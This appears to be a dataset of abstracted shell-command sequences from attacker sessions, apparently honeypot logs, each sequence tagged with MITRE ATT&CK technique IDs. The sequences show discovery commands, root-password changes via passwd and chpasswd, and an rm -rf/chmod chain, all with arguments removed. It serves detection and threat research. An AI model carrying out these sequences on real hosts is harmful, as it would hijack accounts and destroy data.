T1083 File and Directory Discovery
T1053 Scheduled Task/Job
T1087 Account Discovery
T1082 System Information Discovery


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'echo -e | passwd | bash', 'echo | passwd', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'echo | chpasswd | bash', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd')


('cat | grep | wc -l', 'echo | chpasswd | bash', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'echo -e | passwd | bash', 'Enter', 'echo | passwd')

T1082 System Information Discovery
T1098 Account Manipulation
T1059 Command and Scripting Interpreter
T1082 System Information Discovery
T1005 Data from Local System
T1059 Command and Scripting Interpreter
T1083 File and Directory Discovery
T1053 Scheduled Task/Job
T1087 Account Discovery
T1082 System Information Discovery
T1057 Process Discovery
T1087 Account Discovery
T1098 Account Manipulation
T1059 Command and Scripting Interpreter
T1098 Account Manipulation


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'echo | chpasswd | bash', 'echo -e | passwd | bash', 'echo | passwd', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo -e | passwd | bash', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd', 'echo | chpasswd | bash')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo -e | passwd | bash', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd', 'echo | chpasswd | bash')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w')

T1082 System Information Discovery
T1098 Account Manipulation
T1059 Command and Scripting Interpreter
T1098 Account Manipulation
T1082 System Information Discovery
T1005 Data from Local System
T1059 Command and Scripting Interpreter
T1083 File and Directory Discovery
T1053 Scheduled Task/Job
T1087 Account Discovery


('cat | grep | wc -l', 'echo | chpasswd | bash', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname')

T1082 System Information Discovery
T1098 Account Manipulation
T1059 Command and Scripting Interpreter
T1082 System Information Discovery
T1005 Data from Local System
T1059 Command and Scripting Interpreter
T1083 File and Directory Discovery
T1053 Scheduled Task/Job
T1087 Account Discovery


('cat | grep | wc -l', 'echo | chpasswd | bash', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd')


('cat | grep | wc -l', 'echo | chpasswd | bash', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep')


('cat | grep | wc -l', 'echo | chpasswd | bash', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo -e | passwd | bash', 'Enter', 'echo | passwd')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'echo -e | passwd | bash', 'echo | passwd', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd')


('cat | grep | wc -l', 'echo | chpasswd | bash', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'uname', 'uname', 'echo -e | passwd | bash', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd', 'lscpu | grep')

T1082 System Information Discovery
T1098 Account Manipulation
T1059 Command and Scripting Interpreter
T1082 System Information Discovery
T1005 Data from Local System
T1059 Command and Scripting Interpreter
T1083 File and Directory Discovery
T1053 Scheduled Task/Job
T1087 Account Discovery
T1082 System Information Discovery
T1057 Process Discovery
T1098 Account Manipulation
T1059 Command and Scripting Interpreter
T1098 Account Manipulation
T1087 Account Discovery
T1098 Account Manipulation
T1059 Command and Scripting Interpreter
T1098 Account Manipulation
T1059 Command and Scripting Interpreter
T1098 Account Manipulation
T1082 System Information Discovery


('cat | grep | wc -l', 'echo | chpasswd | bash', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname')

T1082 System Information Discovery
T1098 Account Manipulation
T1059 Command and Scripting Interpreter
T1082 System Information Discovery
T1005 Data from Local System
T1059 Command and Scripting Interpreter
T1083 File and Directory Discovery
T1053 Scheduled Task/Job
T1087 Account Discovery
T1082 System Information Discovery
T1057 Process Discovery
T1087 Account Discovery


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'echo -e | passwd | bash', 'echo | passwd', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo -e | passwd | bash', 'echo | passwd')

T1222 File and Directory Permissions Modification


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname')


('cat | grep | wc -l', 'echo | chpasswd | bash', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l')

T1082 System Information Discovery
T1098 Account Manipulation
T1059 Command and Scripting Interpreter
T1082 System Information Discovery
T1005 Data from Local System
T1059 Command and Scripting Interpreter
T1083 File and Directory Discovery
T1053 Scheduled Task/Job
T1087 Account Discovery
T1082 System Information Discovery


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'echo -e | passwd | bash', 'echo | passwd', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo -e | passwd | bash', 'echo | passwd')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'echo -e | passwd | bash', 'echo | passwd', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'echo -e | passwd | bash', 'echo | passwd', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo | chpasswd | bash')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'echo | chpasswd | bash', 'echo -e | passwd | bash', 'echo | passwd', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo | chpasswd | bash', 'echo -e | passwd | bash', 'echo | passwd')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'echo -e | passwd | bash', 'echo | passwd', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo -e | passwd | bash', 'echo | passwd')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'echo -e | passwd | bash', 'echo | passwd', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'echo -e | passwd | bash', 'echo | passwd', 'echo | chpasswd | bash', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo | chpasswd | bash')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'echo | chpasswd | bash', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo | chpasswd | bash')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'echo -e | passwd | bash', 'echo | passwd')

T1082 System Information Discovery
T1098 Account Manipulation
T1059 Command and Scripting Interpreter
T1098 Account Manipulation
T1082 System Information Discovery
T1005 Data from Local System
T1059 Command and Scripting Interpreter
T1083 File and Directory Discovery
T1053 Scheduled Task/Job
T1087 Account Discovery
T1082 System Information Discovery
T1057 Process Discovery
T1087 Account Discovery
T1098 Account Manipulation
T1059 Command and Scripting Interpreter
T1098 Account Manipulation


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'echo -e | passwd | bash', 'echo | passwd', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'echo -e | passwd | bash', 'echo | passwd', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'echo -e | passwd | bash', 'echo | passwd', 'top')

T1082 System Information Discovery
T1098 Account Manipulation
T1059 Command and Scripting Interpreter
T1098 Account Manipulation
T1082 System Information Discovery
T1005 Data from Local System
T1059 Command and Scripting Interpreter
T1083 File and Directory Discovery
T1053 Scheduled Task/Job
T1087 Account Discovery
T1082 System Information Discovery
T1098 Account Manipulation
T1059 Command and Scripting Interpreter
T1098 Account Manipulation
T1057 Process Discovery


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'echo | chpasswd | bash', 'cat | grep | grep | wc -l', 'top', 'echo -e | passwd | bash', 'echo | passwd', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'echo -e | passwd | bash', 'echo | passwd', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo -e | passwd | bash', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'echo | chpasswd | bash', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'echo -e | passwd | bash', 'echo | passwd', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo -e | passwd | bash', 'echo | passwd')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'echo | chpasswd | bash', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo -e | passwd | bash', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'echo | chpasswd | bash', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo -e | passwd | bash', 'echo | passwd', 'echo | chpasswd | bash')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo -e | passwd | bash', 'echo | passwd')


('cat | grep | wc -l', 'echo | chpasswd | bash', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep')


('cat | grep | wc -l', 'echo | chpasswd | bash', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'echo | chpasswd | bash', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'echo -e | passwd | bash', 'echo | passwd', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'echo | chpasswd | bash', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'echo | chpasswd | bash', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'echo -e | passwd | bash', 'echo | passwd', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'echo -e | passwd | bash', 'echo | passwd', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo -e | passwd | bash', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'echo -e | passwd | bash', 'echo | passwd', 'echo | chpasswd | bash', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'echo | chpasswd | bash', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo -e | passwd | bash', 'echo | passwd', 'echo | chpasswd | bash')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'echo -e | passwd | bash', 'echo | passwd', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo -e | passwd | bash', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'echo | chpasswd | bash', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd')


